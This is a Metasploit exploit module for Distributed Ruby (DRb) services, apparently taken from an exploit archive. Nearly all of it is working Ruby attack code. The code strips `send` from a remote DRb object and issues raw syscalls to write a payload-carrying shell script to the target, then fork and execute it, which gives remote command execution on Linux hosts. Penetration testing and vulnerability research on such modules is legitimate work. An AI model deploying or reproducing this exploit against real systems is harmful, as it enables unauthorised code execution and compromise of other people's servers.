Distributed Ruby Send Syscall Vulnerability

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
require 'drb/drb'  
class Metasploit3 < Msf::Exploit::Remote  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Distributed Ruby send syscall vulnerability.',  
'Description' => %q{ This module exploits remote syscalls in DRuby  
},  
'Author' => [ 'joernchen <[email protected]> (Phenoelit)' ],  
'License' => MSF_LICENSE,  
'Version' => '',  
'References' =>  
[  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>   
{  
'PayloadType' => 'cmd',  
},  
'Space' => 32768,  
},  
'Platform' => 'linux',  
'Arch' => ARCH_ALL,  
'Targets' => [[ 'Automatic', { }]],  
'DefaultTarget' => 0))  
  
  
register_options(  
[  
OptString.new('URI', [true, "The druby URI of the target host ", ""]),  
], self.class)  
end  
  
def exploit  
serveruri = datastore['URI']   
DRb.start_service   
p = DRbObject.new_with_uri(serveruri)  
class << p  
undef :send  
end  
filename = "." + Rex::Text.rand_text_alphanumeric(16)  
# syscall open  
i = p.send(:syscall,8,filename,0700)  
#syscall write  
p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)  
#syscall close  
p.send(:syscall,6,i)  
#syscall fork  
p.send(:syscall,2)  
#syscall execve  
p.send(:syscall,11,filename,0,0)  
  
handler(nil)  
end  
end  
`